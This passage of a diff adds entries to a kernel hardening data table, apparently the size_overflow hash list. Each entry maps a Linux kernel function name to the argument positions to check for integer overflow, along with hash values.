++_000584_hash snd_pcm_oss_write2 3 27332 _000584_hash NULL
++_000585_hash snd_rawmidi_kernel_write1 4 56847 _000585_hash NULL
++_000586_hash snd_rme9652_playback_copy 5 20970 _000586_hash NULL
++_000587_hash snd_sb_csp_load_user 3 45190 _000587_hash NULL
++_000588_hash snd_usb_ctl_msg 8 8436 _000588_hash NULL
++_000589_hash sock_bindtodevice 3 50942 _000589_hash NULL
++_000590_hash sock_kmalloc 2 62205 _000590_hash NULL
++_000591_hash spidev_ioctl 2 12846 _000591_hash NULL
++_000592_hash spidev_write 3 44510 _000592_hash NULL
++_000593_hash squashfs_read_table 3 16945 _000593_hash NULL
++_000594_hash srpt_alloc_ioctx 2-3 51042 _000594_hash NULL
++_000596_hash srpt_alloc_ioctx_ring 2-4-3 49330 _000596_hash NULL
++_000597_hash st5481_setup_isocpipes 6-4 61340 _000597_hash NULL
++_000598_hash sta_agg_status_write 3 45164 _000598_hash NULL
++_000599_hash svc_setsockopt 5 36876 _000599_hash NULL
++_000600_hash sys_add_key 4 61288 _000600_hash NULL
++_000601_hash sys_modify_ldt 3 18824 _000601_hash NULL
++_000602_hash sys_semtimedop 3 4486 _000602_hash NULL
++_000603_hash sys_setdomainname 2 4373 _000603_hash NULL
++_000604_hash sys_sethostname 2 42962 _000604_hash NULL
++_000605_hash tomoyo_write_self 3 45161 _000605_hash NULL
++_000606_hash tower_write 3 8580 _000606_hash NULL
++_000607_hash tpm_write 3 50798 _000607_hash NULL
++_000608_hash trusted_instantiate 3 4710 _000608_hash NULL
++_000609_hash trusted_update 3 12664 _000609_hash NULL
++_000610_hash tty_buffer_alloc 2 45437 _000610_hash NULL
++_000611_hash __tun_chr_ioctl 4 22300 _000611_hash NULL
++_000612_hash ubi_more_leb_change_data 4 63534 _000612_hash NULL
++_000613_hash ubi_more_update_data 4 39189 _000613_hash NULL
++_000614_hash ubi_resize_volume 2 50172 _000614_hash NULL
++_000615_hash udf_alloc_i_data 2 35786 _000615_hash NULL
++_000616_hash uea_idma_write 3 64139 _000616_hash NULL
++_000617_hash uea_request 4 47613 _000617_hash NULL
++_000618_hash uea_send_modem_cmd 3 3888 _000618_hash NULL
++_000619_hash uio_write 3 43202 _000619_hash NULL
++_000620_hash um_idi_write 3 18293 _000620_hash NULL
++_000621_hash us122l_ctl_msg 8 13330 _000621_hash NULL
++_000622_hash usb_alloc_urb 1 43436 _000622_hash NULL
++_000623_hash usblp_new_writeurb 2 22894 _000623_hash NULL
++_000624_hash usblp_write 3 23178 _000624_hash NULL
++_000625_hash usbtest_alloc_urb 3-5 34446 _000625_hash NULL
++_000627_hash usbtmc_write 3 64340 _000627_hash NULL
++_000628_hash user_instantiate 3 26131 _000628_hash NULL
++_000629_hash user_update 3 41332 _000629_hash NULL
++_000630_hash uwb_rc_cmd_done 4 35892 _000630_hash NULL
++_000631_hash uwb_rc_neh_grok_event 3 55799 _000631_hash NULL
++_000632_hash v9fs_alloc_rdir_buf 2 42150 _000632_hash NULL
++_000633_hash vc_do_resize 3-4 48842 _000633_hash NULL
++_000635_hash vcs_write 3 3910 _000635_hash NULL
++_000636_hash vga_arb_write 3 36112 _000636_hash NULL
++_000637_hash vga_switcheroo_debugfs_write 3 33984 _000637_hash NULL
++_000638_hash vhci_get_user 3 45039 _000638_hash NULL
++_000639_hash video_proc_write 3 6724 _000639_hash NULL
++_000640_hash vlsi_alloc_ring 3-4 57003 _000640_hash NULL
++_000642_hash __vmalloc 1 61168 _000642_hash NULL
++_000643_hash vmalloc_32 1 1135 _000643_hash NULL
++_000644_hash vmalloc_32_user 1 37519 _000644_hash NULL
++_000645_hash vmalloc_exec 1 36132 _000645_hash NULL
++_000646_hash vmalloc_node 1 58700 _000646_hash NULL
++_000647_hash __vmalloc_node_flags 1 30352 _000647_hash NULL
++_000648_hash vmalloc_user 1 32308 _000648_hash NULL
++_000649_hash vol_cdev_direct_write 3 20751 _000649_hash NULL
++_000650_hash vp_request_msix_vectors 2 28849 _000650_hash NULL
++_000651_hash vring_add_indirect 3-4 20737 _000651_hash NULL
++_000653_hash vring_new_virtqueue 1 9671 _000653_hash NULL
++_000654_hash vxge_os_dma_malloc 2 46184 _000654_hash NULL
++_000655_hash vxge_os_dma_malloc_async 3 56348 _000655_hash NULL
++_000656_hash wdm_write 3 53735 _000656_hash NULL
++_000657_hash wiimote_hid_send 3 48528 _000657_hash NULL
++_000658_hash wlc_phy_loadsampletable_nphy 3 64367 _000658_hash NULL
++_000659_hash write 3 62671 _000659_hash NULL
++_000660_hash write_flush 3 50803 _000660_hash NULL
++_000661_hash write_rio 3 54837 _000661_hash NULL
++_000662_hash x25_asy_change_mtu 2 26928 _000662_hash NULL
++_000663_hash xdi_copy_from_user 4 8395 _000663_hash NULL
++_000664_hash xfrm_dst_alloc_copy 3 3034 _000664_hash NULL
++_000665_hash xfrm_user_policy 4 62573 _000665_hash NULL
++_000666_hash xfs_attrmulti_attr_set 4 59346 _000666_hash NULL
++_000667_hash xfs_handle_to_dentry 3 12135 _000667_hash NULL
++_000668_hash xip_file_read 3 58592 _000668_hash NULL
++_000669_hash __xip_file_write 3-4 2733 _000669_hash NULL
++_000671_hash xprt_rdma_allocate 2 31372 _000671_hash NULL
++_000672_hash zd_usb_iowrite16v_async 3 23984 _000672_hash NULL
++_000673_hash zd_usb_read_fw 4 22049 _000673_hash NULL
++_000674_hash zerocopy_sg_from_iovec 3 11828 _000674_hash NULL
++_000675_hash __a2mp_build 3 60987 _000675_hash NULL
++_000677_hash acpi_ex_allocate_name_string 2-1 7685 _001169_hash NULL nohasharray
++_000678_hash acpi_os_allocate_zeroed 1 37422 _000678_hash NULL
++_000679_hash acpi_ut_initialize_buffer 2 47143 _002830_hash NULL nohasharray
++_000680_hash ad7879_spi_xfer 3 36311 _000680_hash NULL
++_000681_hash add_new_gdb 3 27643 _000681_hash NULL
++_000682_hash add_numbered_child 5 14273 _000682_hash NULL
++_000683_hash add_res_range 4 21310 _000683_hash NULL
++_000684_hash addtgt 3 54703 _000684_hash NULL
++_000685_hash add_uuid 4 49831 _000685_hash NULL
++_000686_hash afs_cell_alloc 2 24052 _000686_hash NULL
++_000687_hash aggr_recv_addba_req_evt 4 38037 _000687_hash NULL
++_000688_hash agp_create_memory 1 1075 _000688_hash NULL
++_000689_hash agp_create_user_memory 1 62955 _000689_hash NULL
++_000690_hash alg_setsockopt 5 20985 _000690_hash NULL
++_000691_hash alloc_async 1 14208 _000691_hash NULL
++_000692_hash ___alloc_bootmem_nopanic 1 53626 _000692_hash NULL
++_000693_hash alloc_buf 1 34532 _000693_hash NULL
++_000694_hash alloc_chunk 1 49575 _000694_hash NULL
++_000695_hash alloc_context 1 41283 _000695_hash NULL
++_000696_hash alloc_ctrl_packet 1 44667 _000696_hash NULL
++_000697_hash alloc_data_packet 1 46698 _000697_hash NULL
++_000698_hash alloc_dca_provider 2 59670 _000698_hash NULL
++_000699_hash __alloc_dev_table 2 54343 _000699_hash NULL
++_000700_hash alloc_ep 1 17269 _000700_hash NULL
++_000701_hash __alloc_extent_buffer 3 15093 _000701_hash NULL
++_000702_hash alloc_group_attrs 2 9194 _000727_hash NULL nohasharray
++_000703_hash alloc_large_system_hash 2 22391 _000703_hash NULL
++_000704_hash alloc_netdev_mqs 1 30030 _000704_hash NULL
++_000705_hash __alloc_objio_seg 1 7203 _000705_hash NULL
++_000706_hash alloc_ring 2-4 15345 _000706_hash NULL
++_000707_hash alloc_ring 2-4 39151 _000707_hash NULL
++_000710_hash alloc_session 1-2 64171 _000710_hash NULL
++_000714_hash alloc_skb 1 55439 _000714_hash NULL
++_000715_hash alloc_skb_fclone 1 3467 _000715_hash NULL
++_000716_hash alloc_smp_req 1 51337 _000716_hash NULL
++_000717_hash alloc_smp_resp 1 3566 _000717_hash NULL
++_000718_hash alloc_ts_config 1 45775 _000718_hash NULL
++_000719_hash alloc_upcall 2 62186 _000719_hash NULL
++_000720_hash altera_drscan 2 48698 _000720_hash NULL
++_000721_hash altera_irscan 2 62396 _000721_hash NULL
++_000722_hash altera_set_dr_post 2 54291 _000722_hash NULL
++_000723_hash altera_set_dr_pre 2 64862 _000723_hash NULL
++_000724_hash altera_set_ir_post 2 20948 _000724_hash NULL
++_000725_hash altera_set_ir_pre 2 54103 _000725_hash NULL
++_000726_hash altera_swap_dr 2 50090 _000726_hash NULL
++_000727_hash altera_swap_ir 2 9194 _000727_hash &_000702_hash
++_000728_hash amd_create_gatt_pages 1 20537 _000728_hash NULL
++_000729_hash aoechr_write 3 62883 _003674_hash NULL nohasharray
++_000730_hash applesmc_create_nodes 2 49392 _000730_hash NULL
++_000731_hash array_zalloc 1-2 7519 _000731_hash NULL
++_000733_hash arvo_sysfs_read 6 31617 _000733_hash NULL
++_000734_hash arvo_sysfs_write 6 3311 _000734_hash NULL
++_000735_hash asd_store_update_bios 4 10165 _000735_hash NULL
++_000736_hash ata_host_alloc 2 46094 _000736_hash NULL
++_000737_hash atalk_sendmsg 4 21677 _000737_hash NULL
++_000738_hash ath6kl_cfg80211_connect_event 7-9-8 13443 _000738_hash NULL
++_000739_hash ath6kl_mgmt_tx 9 21153 _000739_hash NULL
++_000740_hash ath6kl_wmi_proc_events_vif 5 42549 _003190_hash NULL nohasharray
++_000741_hash ath6kl_wmi_roam_tbl_event_rx 3 43440 _000741_hash NULL
++_000742_hash ath6kl_wmi_send_mgmt_cmd 7 17347 _000742_hash NULL
++_000743_hash ath_descdma_setup 5 12257 _000743_hash NULL
++_000744_hash ath_rx_edma_init 2 65483 _000744_hash NULL
++_000745_hash ati_create_gatt_pages 1 4722 _003275_hash NULL nohasharray
++_000746_hash audit_expand 2 2098 _000746_hash NULL
++_000747_hash audit_init_entry 1 38644 _000747_hash NULL
++_000748_hash ax25_sendmsg 4 62770 _000748_hash NULL
++_000749_hash b1_alloc_card 1 36155 _000749_hash NULL
++_000750_hash b43_nphy_load_samples 3 36481 _000750_hash NULL
++_000751_hash batadv_orig_hash_add_if 2 10033 _000751_hash NULL
++_000752_hash batadv_orig_hash_del_if 2 48972 _000752_hash NULL
++_000753_hash batadv_tt_append_diff 4 20588 _000753_hash NULL
++_000754_hash batadv_tt_commit_changes 4 2008 _000754_hash NULL
++_000755_hash batadv_tt_prepare_packet_buff 4 1280 _000755_hash NULL
++_000756_hash bio_copy_user_iov 4 37660 _000756_hash NULL
++_000757_hash __bio_map_kern 3 47379 _000757_hash NULL
++_000758_hash bitmap_resize 2 33054 _000758_hash NULL
++_000759_hash blk_check_plugged 3 50736 _000759_hash NULL
++_000760_hash blk_register_region 1-2 51424 _000760_hash NULL
++_000762_hash bm_entry_write 3 28338 _000762_hash NULL
++_000763_hash bm_realloc_pages 2 9431 _000763_hash NULL
++_000764_hash bm_register_write 3 9893 _000764_hash &_000579_hash
++_000765_hash bm_status_write 3 12964 _000765_hash NULL
++_000766_hash br_mdb_rehash 2 42643 _000766_hash NULL
++_000767_hash btmrvl_sdio_host_to_card 3 12152 _000767_hash NULL
++_000768_hash btrfs_copy_from_user 1-3 43806 _000768_hash NULL
++_000770_hash btrfs_insert_delayed_dir_index 4 63720 _000770_hash NULL
++_000771_hash __btrfs_map_block 3 49839 _000771_hash NULL
++_000772_hash c4iw_init_resource 2-3 30393 _000772_hash NULL
++_000774_hash cache_downcall 3 13666 _000774_hash NULL
++_000775_hash cache_slow_downcall 2 8570 _000775_hash NULL
++_000776_hash caif_seqpkt_sendmsg 4 22961 _000776_hash NULL
++_000777_hash caif_stream_sendmsg 4 9110 _000777_hash NULL
++_000778_hash carl9170_cmd_buf 3 950 _000778_hash NULL
++_000779_hash cdev_add 2-3 38176 _000779_hash NULL
++_000781_hash cdrom_read_cdda 4 50478 _000781_hash NULL
++_000782_hash ceph_dns_resolve_name 2 62488 _000782_hash NULL
++_000783_hash ceph_msgpool_get 2 54258 _000783_hash NULL
++_000784_hash cfg80211_connect_result 4-6 56515 _000784_hash NULL
++_000786_hash cfg80211_disconnected 4 57 _000786_hash NULL
++_000787_hash cfg80211_inform_bss 8 19332 _000787_hash NULL
++_000788_hash cfg80211_inform_bss_frame 4 41078 _000788_hash NULL
++_000789_hash cfg80211_mlme_register_mgmt 5 19852 _000789_hash NULL
++_000790_hash cfg80211_roamed_bss 4-6 50198 _000790_hash NULL
++_000792_hash cgroup_file_write 3 52417 _000792_hash NULL
++_000793_hash cifs_readdata_alloc 1 26360 _000793_hash NULL
++_000794_hash cifs_readv_from_socket 3 19109 _000794_hash NULL
++_000795_hash cifs_writedata_alloc 1 32880 _003097_hash NULL nohasharray
++_000796_hash cnic_alloc_dma 3 34641 _000796_hash NULL
++_000797_hash cnic_init_id_tbl 2 41354 _000797_hash NULL
++_000798_hash configfs_write_file 3 61621 _000798_hash NULL
++_000799_hash construct_key 3 11329 _000799_hash NULL
++_000800_hash context_alloc 3 24645 _000800_hash NULL
++_000801_hash copy_to_user 3 57835 _000801_hash NULL
++_000802_hash cp210x_get_config 4 56229 _000802_hash NULL
++_000803_hash create_attr_set 1 22861 _000803_hash NULL
++_000804_hash create_bounce_buffer 3 39155 _000804_hash NULL
++_000805_hash create_gpadl_header 2 19064 _000805_hash NULL
++_000806_hash _create_sg_bios 4 31244 _000806_hash NULL
++_000807_hash cryptd_alloc_instance 2-3 18048 _000807_hash NULL
++_000809_hash crypto_ahash_setkey 3 55134 _000809_hash NULL
++_000810_hash crypto_alloc_instance2 3 25277 _000810_hash NULL
++_000811_hash crypto_shash_setkey 3 60483 _000811_hash NULL
++_000812_hash cxgb_alloc_mem 1 24007 _000812_hash NULL
++_000813_hash cxgbi_device_portmap_create 3 25747 _000813_hash NULL
++_000814_hash cxgbi_device_register 1-2 36746 _000814_hash NULL
++_000816_hash __cxio_init_resource_fifo 3 23447 _000816_hash NULL
++_000817_hash dccp_sendmsg 4 56058 _000817_hash NULL
++_000818_hash ddp_make_gl 1 12179 _000818_hash NULL
++_000819_hash depth_write 3 3021 _000819_hash NULL
++_000820_hash dev_irnet_write 3 11398 _000820_hash NULL
++_000821_hash dev_set_alias 3 50084 _000821_hash NULL
++_000822_hash dev_write 3 7708 _000822_hash NULL
++_000823_hash dfs_global_file_write 3 6112 _000823_hash NULL
++_000824_hash dgram_sendmsg 4 45679 _000824_hash NULL
++_000825_hash disconnect 4 32521 _000825_hash NULL
++_000826_hash dma_attach 6-7 50831 _000826_hash NULL
++_000828_hash dma_declare_coherent_memory 4-2 14244 _000828_hash NULL
++_000829_hash dn_sendmsg 4 38390 _000829_hash NULL
++_000830_hash dn_setsockopt 5 314 _000830_hash NULL
++_000831_hash do_arpt_set_ctl 4 51053 _000831_hash NULL
++_000832_hash do_dccp_setsockopt 5 54377 _003195_hash NULL nohasharray
++_000833_hash do_ip6t_set_ctl 4 60040 _000833_hash NULL
++_000834_hash do_ipt_set_ctl 4 56238 _000834_hash NULL
++_000835_hash do_jffs2_setxattr 5 25910 _000835_hash NULL
++_000836_hash do_msgsnd 4 1387 _000836_hash NULL
++_000837_hash do_pselect 1 62061 _000837_hash NULL
++_000838_hash do_raw_setsockopt 5 55215 _000838_hash NULL
++_000839_hash do_readv_writev 4 51849 _000839_hash NULL
++_000840_hash do_sync 1 9604 _000840_hash NULL
++_000841_hash dup_array 3 33551 _000841_hash NULL
++_000842_hash ecryptfs_decode_and_decrypt_filename 5 10379 _000842_hash NULL
++_000843_hash ecryptfs_encrypt_and_encode_filename 6 2109 _000843_hash NULL
++_000844_hash ecryptfs_send_message_locked 2 31801 _000844_hash NULL
++_000845_hash edac_device_alloc_ctl_info 1 5941 _000845_hash NULL
++_000846_hash edac_mc_alloc 4 3611 _000846_hash NULL
++_000847_hash edac_pci_alloc_ctl_info 1 63388 _000847_hash NULL
++_000848_hash efivar_create_sysfs_entry 2 19485 _000848_hash NULL
++_000849_hash enable_write 3 30456 _000849_hash NULL
++_000850_hash enclosure_register 3 57412 _000850_hash NULL
++_000851_hash enlarge_skb 2 44248 _002839_hash NULL nohasharray
++_000852_hash evdev_ioctl_handler 2 21705 _000852_hash NULL
++_000853_hash ext4_kvzalloc 1 47605 _000853_hash NULL
++_000854_hash extend_netdev_table 2 21453 _000854_hash NULL
++_000855_hash fcoe_ctlr_device_add 3 1793 _000855_hash NULL
++_000856_hash fd_do_readv 3 51297 _000856_hash NULL
++_000857_hash fd_do_writev 3 29329 _000857_hash NULL
++_000858_hash __feat_register_sp 6 64712 _000858_hash NULL
++_000859_hash __ffs_ep0_read_events 3 48868 _000859_hash NULL
++_000860_hash ffs_ep0_write 3 9438 _000860_hash NULL
++_000861_hash ffs_epfile_read 3 18775 _000861_hash NULL
++_000862_hash ffs_epfile_write 3 48014 _000862_hash NULL
++_000863_hash fib_info_hash_alloc 1 9075 _000863_hash NULL
++_000864_hash fillonedir 3 41746 _000864_hash NULL
++_000865_hash fs_devrw_entry 3 11924 _000865_hash NULL
++_000866_hash fs_path_prepare_for_add 2 61854 _000866_hash NULL
++_000867_hash fuse_fill_write_pages 4 53682 _000867_hash NULL
++_000868_hash fw_device_op_ioctl 2 11595 _000868_hash NULL
++_000869_hash fw_iso_buffer_init 3 54582 _000869_hash NULL
++_000870_hash fw_node_create 2 9559 _000870_hash NULL
++_000871_hash garmin_read_process 3 27509 _000871_hash NULL
++_000872_hash garp_request_join 4 7471 _000872_hash NULL
++_000873_hash generic_perform_write 3 54832 _000873_hash NULL
++_000874_hash gen_pool_add_virt 4 39913 _000874_hash NULL
++_000875_hash get_derived_key 4 61100 _000875_hash NULL
++_000876_hash get_new_cssid 2 51665 _000876_hash NULL
++_000877_hash getxattr 4 24398 _003758_hash NULL nohasharray
++_000878_hash gsm_control_reply 4 53333 _000878_hash NULL
++_000879_hash hcd_alloc_coherent 5 55862 _000879_hash NULL
++_000880_hash hci_sock_sendmsg 4 37420 _000880_hash NULL
++_000881_hash hidraw_ioctl 2 63658 _000881_hash NULL
++_000882_hash hidraw_write 3 31536 _000882_hash NULL
++_000883_hash hid_register_field 2-3 4874 _000883_hash NULL
++_000885_hash hid_report_raw_event 4 2762 _000885_hash NULL
++_000886_hash hpi_alloc_control_cache 1 35351 _000886_hash NULL
++_000887_hash hugetlbfs_read_actor 2-5-4 34547 _000887_hash NULL
++_000890_hash hvc_alloc 4 12579 _000890_hash NULL
++_000891_hash __hwahc_dev_set_key 5 46328 _000891_hash NULL
++_000892_hash i2400m_zrealloc_2x 3 54166 _001549_hash NULL nohasharray
++_000893_hash ib_alloc_device 1 26483 _000893_hash NULL
++_000894_hash ib_create_send_mad 5 1196 _000894_hash NULL
++_000895_hash ibmasm_new_command 2 25714 _000895_hash NULL
++_000896_hash ib_send_cm_drep 3 50186 _000896_hash NULL
++_000897_hash ib_send_cm_mra 4 60202 _003063_hash NULL nohasharray
++_000898_hash ib_send_cm_rtu 3 63138 _000898_hash NULL
++_000899_hash ide_core_cp_entry 3 22636 _000899_hash NULL
++_000900_hash ieee80211_if_write_smps 3 35550 _000900_hash NULL
++_000901_hash ieee80211_if_write_tkip_mic_test 3 58748 _000901_hash NULL
++_000902_hash ieee80211_if_write_tsf 3 36077 _000902_hash NULL
++_000903_hash ieee80211_if_write_uapsd_max_sp_len 3 14233 _000903_hash NULL
++_000904_hash ieee80211_if_write_uapsd_queues 3 51526 _000904_hash NULL
++_000905_hash ieee80211_key_alloc 3 19065 _000905_hash NULL
++_000906_hash ieee80211_send_probe_req 6-4 6924 _000906_hash NULL
++_000907_hash ieee80211_skb_resize 3 50211 _000907_hash NULL
++_000908_hash if_spi_host_to_card 4 62890 _000908_hash NULL
++_000909_hash if_writecmd 2 815 _000909_hash NULL
++_000910_hash init_bch 1-2 64130 _000910_hash NULL
++_000912_hash init_ipath 1 48187 _000912_hash NULL
++_000913_hash init_list_set 2-3 39188 _000913_hash NULL
++_000915_hash init_q 4 132 _000915_hash NULL
++_000916_hash init_state 2 60165 _000916_hash NULL
++_000917_hash init_tag_map 3 57515 _000917_hash NULL
++_000918_hash input_ff_create 2 21240 _000918_hash NULL
++_000919_hash input_mt_init_slots 2 31183 _000919_hash NULL
++_000920_hash interfaces 2 38859 _000920_hash NULL
++_000921_hash int_hardware_entry 3 36833 _000921_hash NULL
++_000922_hash int_hw_irq_en 3 46776 _000922_hash NULL
++_000923_hash int_tasklet_entry 3 52500 _000923_hash NULL
++_000924_hash ioat2_alloc_ring 2 11172 _000924_hash NULL
++_000925_hash ip_generic_getfrag 3-4 12187 _000925_hash NULL
++_000927_hash ip_options_get_alloc 1 7448 _000927_hash NULL
++_000928_hash ipr_alloc_ucode_buffer 1 40199 _000928_hash NULL
++_000929_hash ip_set_alloc 1 57953 _000929_hash NULL
++_000930_hash ip_setsockopt 5 33487 _000930_hash NULL
++_000931_hash ipv6_flowlabel_opt 3 58135 _001179_hash NULL nohasharray
++_000932_hash ipv6_renew_options 5 28867 _000932_hash NULL
++_000933_hash ipv6_setsockopt 5 29871 _000933_hash NULL
++_000934_hash ipxrtr_route_packet 4 54036 _000934_hash NULL
++_000935_hash irda_sendmsg 4 4388 _000935_hash NULL
++_000936_hash irda_sendmsg_dgram 4 38563 _000936_hash NULL
++_000937_hash irda_sendmsg_ultra 4 42047 _000937_hash NULL
++_000938_hash irias_add_octseq_attrib 4 29983 _000938_hash NULL
++_000939_hash irq_alloc_generic_chip 2 26650 _000939_hash NULL
++_000940_hash iscsi_alloc_session 3 49390 _000940_hash NULL
++_000941_hash iscsi_create_conn 2 50425 _000941_hash NULL
++_000942_hash iscsi_create_endpoint 1 15193 _000942_hash NULL
++_000943_hash iscsi_create_iface 5 38510 _000943_hash NULL
++_000944_hash iscsi_decode_text_input 4 58292 _000944_hash NULL
++_000945_hash iscsi_pool_init 2-4 54913 _000945_hash NULL
++_000947_hash iscsit_dump_data_payload 2 38683 _000947_hash NULL
++_000948_hash isdn_write 3 45863 _000948_hash NULL
++_000949_hash isku_receive 4 54130 _000949_hash NULL
++_000950_hash islpci_mgt_transaction 5 23610 _000950_hash NULL
++_000951_hash iso_alloc_urb 4-5 45206 _000951_hash NULL
++_000952_hash iso_sched_alloc 1 13377 _003325_hash NULL nohasharray
++_000953_hash iwl_trans_txq_alloc 3 36147 _000953_hash NULL
++_000954_hash ixgbe_alloc_q_vector 4-6 24439 _000954_hash NULL
++_000956_hash jbd2_journal_init_revoke 2 51088 _000956_hash NULL
++_000957_hash jffs2_write_dirent 5 37311 _000957_hash NULL
++_000958_hash journal_init_revoke 2 56933 _000958_hash NULL
++_000959_hash keyctl_instantiate_key 3 41855 _000959_hash NULL
++_000960_hash keyctl_instantiate_key_iov 3 16969 _000960_hash NULL
++_000961_hash __kfifo_from_user 3 20399 _000961_hash NULL
++_000962_hash kimage_crash_alloc 3 3233 _000962_hash NULL
++_000963_hash kimage_normal_alloc 3 31140 _000963_hash NULL
++_000964_hash kmem_realloc 2 37489 _000964_hash NULL
++_000965_hash kmem_zalloc 1 11510 _000965_hash NULL
++_000966_hash koneplus_sysfs_read 6 42792 _000966_hash NULL
++_000967_hash kvm_kvzalloc 1 52894 _000967_hash NULL
++_000968_hash kvm_read_guest_page_mmu 6 37611 _000968_hash NULL
++_000969_hash kvm_set_irq_routing 3 48704 _000969_hash NULL
++_000970_hash kvm_write_guest_cached 4 11106 _000970_hash NULL
++_000971_hash kvm_write_guest_page 5 63555 _002812_hash NULL nohasharray
++_000972_hash kzalloc_node 1 24352 _000972_hash NULL
++_000973_hash l2cap_skbuff_fromiovec 3-4 35003 _000973_hash NULL
++_000975_hash l2tp_ip_sendmsg 4 50411 _000975_hash NULL
++_000976_hash l2tp_session_create 1 25286 _000976_hash NULL
++_000977_hash lc_create 3 48662 _000977_hash NULL
++_000978_hash leaf_dealloc 3 29566 _000978_hash NULL
++_000979_hash linear_conf 2 23485 _003837_hash NULL nohasharray
++_000980_hash llc_ui_sendmsg 4 24987 _000980_hash NULL
++_000981_hash load_module 2 60056 _003010_hash NULL nohasharray
++_000982_hash lpfc_sli4_queue_alloc 3 62646 _000982_hash NULL
++_000983_hash mdiobus_alloc_size 1 52259 _000983_hash NULL
++_000984_hash mempool_create_node 1 3191 _000984_hash NULL
++_000985_hash mem_read 3 57631 _000985_hash NULL
++_000986_hash memstick_alloc_host 1 142 _000986_hash NULL
++_000987_hash mem_swapout_entry 3 32586 _000987_hash NULL
++_000988_hash mem_write 3 22232 _000988_hash NULL
++_000989_hash mesh_table_alloc 1 22305 _000989_hash NULL
++_000990_hash mfd_add_devices 4 16668 _000990_hash NULL
++_000991_hash mISDN_sock_sendmsg 4 41035 _000991_hash NULL
++_000992_hash mlx4_init_icm_table 4-5 2151 _000992_hash NULL
++_000994_hash mmc_alloc_host 1 48097 _000994_hash NULL
++_000995_hash mmc_test_alloc_mem 2-3 28102 _000995_hash NULL
++_000997_hash mon_bin_ioctl 3 2771 _000997_hash NULL
++_000998_hash mpi_alloc 1 18094 _000998_hash NULL
++_000999_hash mpihelp_mul_karatsuba_case 5-3 23918 _003061_hash NULL nohasharray
++_001000_hash __mptctl_ioctl 2 15875 _001000_hash NULL
++_001001_hash mtd_concat_create 2 14416 _001001_hash NULL
++_001002_hash mthca_alloc_cq_buf 3 46512 _001002_hash NULL
++_001003_hash mvumi_alloc_mem_resource 3 47750 _001003_hash NULL
++_001004_hash mwifiex_11n_create_rx_reorder_tbl 4 63806 _001004_hash NULL
++_001005_hash mwifiex_alloc_sdio_mpa_buffers 2-3 60961 _001005_hash NULL
++_001007_hash mwl8k_cmd_set_beacon 4 23110 _001007_hash NULL
++_001008_hash neigh_hash_alloc 1 17595 _001008_hash NULL
++_001009_hash __netdev_alloc_skb 2 18595 _001009_hash NULL
++_001010_hash __netlink_change_ngroups 2 46156 _001010_hash NULL
++_001011_hash netlink_sendmsg 4 33708 _001236_hash NULL nohasharray
++_001012_hash netxen_alloc_sds_rings 2 13417 _001012_hash NULL
++_001013_hash new_bind_ctl 2 35324 _001013_hash NULL
++_001014_hash new_dir 3 31919 _001014_hash NULL
++_001015_hash new_tape_buffer 2 32866 _001015_hash NULL
++_001016_hash nfc_llcp_build_tlv 3 19536 _001016_hash NULL
++_001017_hash nfc_llcp_send_i_frame 3 59130 _001017_hash NULL
++_001018_hash nf_ct_ext_create 3 51232 _001018_hash NULL
++_001019_hash nfs4_alloc_pages 1 48426 _001019_hash NULL
++_001020_hash nfs4_alloc_slots 1 2454 _003345_hash NULL nohasharray
++_001021_hash nfsctl_transaction_write 3 64800 _001021_hash NULL
++_001022_hash nfs_fscache_get_super_cookie 3 44355 _001850_hash NULL nohasharray
++_001023_hash nfs_idmap_request_key 3 30208 _001023_hash NULL
++_001024_hash nfs_pgarray_set 2 1085 _001024_hash NULL
++_001025_hash nl_pid_hash_zalloc 1 23314 _001025_hash NULL
++_001026_hash nr_sendmsg 4 53656 _001026_hash NULL
++_001027_hash nsm_create_handle 4 38060 _001027_hash NULL
++_001028_hash ntfs_copy_from_user_iovec 3-6 49829 _001028_hash NULL
++_001030_hash ntfs_file_buffered_write 4-6 41442 _001030_hash NULL
++_001032_hash __ntfs_malloc 1 34022 _001032_hash NULL
++_001033_hash nvme_alloc_queue 3 46865 _001033_hash NULL
++_001034_hash nvme_map_user_pages 3-4 41093 _001639_hash NULL nohasharray
++_001036_hash ocfs2_acl_from_xattr 2 21604 _001036_hash NULL
++_001037_hash ocfs2_control_message 3 19564 _001037_hash NULL
++_001038_hash _ore_get_io_state 3-5-4 2166 _001038_hash NULL
++_001041_hash orinoco_set_key 5-7 17878 _001041_hash NULL
++_001043_hash osdmap_set_max_osd 2 57630 _002267_hash NULL nohasharray
++_001044_hash _osd_realloc_seg 3 54352 _001044_hash NULL
++_001045_hash osst_execute 7-6 17607 _001045_hash NULL
++_001046_hash osst_write 3 31581 _001046_hash NULL
++_001047_hash otp_read 2-5-4 10594 _001047_hash NULL
++_001050_hash ovs_vport_alloc 1 33475 _001050_hash NULL
++_001051_hash p54_parse_rssical 3 64493 _001051_hash NULL
++_001052_hash p9_client_zc_rpc 7 14345 _001052_hash NULL
++_001053_hash packet_sendmsg_spkt 4 28885 _001053_hash NULL
++_001054_hash pair_device 4 61175 _003161_hash NULL nohasharray
++_001055_hash pccard_store_cis 6 18176 _001055_hash NULL
++_001056_hash pci_add_cap_save_buffer 3 3426 _001056_hash NULL
++_001057_hash pcnet32_realloc_rx_ring 3 36598 _001057_hash NULL
++_001058_hash pcnet32_realloc_tx_ring 3 38428 _001058_hash NULL
++_001059_hash pcpu_mem_zalloc 1 22948 _001059_hash NULL
++_001060_hash pep_sendmsg 4 62524 _001060_hash NULL
++_001061_hash pfkey_sendmsg 4 47394 _001061_hash NULL
++_001062_hash pidlist_resize 2 496 _001062_hash NULL
++_001063_hash pin_code_reply 4 46510 _001063_hash NULL
++_001064_hash ping_getfrag 3-4 8360 _001064_hash NULL
++_001066_hash pipe_set_size 2 5204 _001066_hash NULL
++_001067_hash pkt_bio_alloc 1 48284 _001067_hash NULL
++_001068_hash platform_create_bundle 4-6 12785 _001068_hash NULL
++_001070_hash pm8001_store_update_fw 4 55716 _001070_hash NULL
++_001071_hash pmcraid_alloc_sglist 1 9864 _001071_hash NULL
++_001072_hash pn533_dep_link_up 5 22154 _001072_hash NULL
++_001073_hash pn533_init_target_frame 3 65438 _001073_hash NULL
++_001074_hash pnp_alloc 1 24869 _001538_hash NULL nohasharray
++_001075_hash pn_sendmsg 4 12640 _001075_hash NULL
++_001076_hash pppoe_sendmsg 4 48039 _001076_hash NULL
++_001077_hash pppol2tp_sendmsg 4 56420 _001077_hash NULL
++_001078_hash prism2_info_hostscanresults 3 39657 _001078_hash NULL
++_001079_hash process_vm_rw 3-5 47533 _001079_hash NULL
++_001081_hash process_vm_rw_single_vec 1-2 26213 _001081_hash NULL
++_001083_hash proc_write 3 51003 _001083_hash NULL
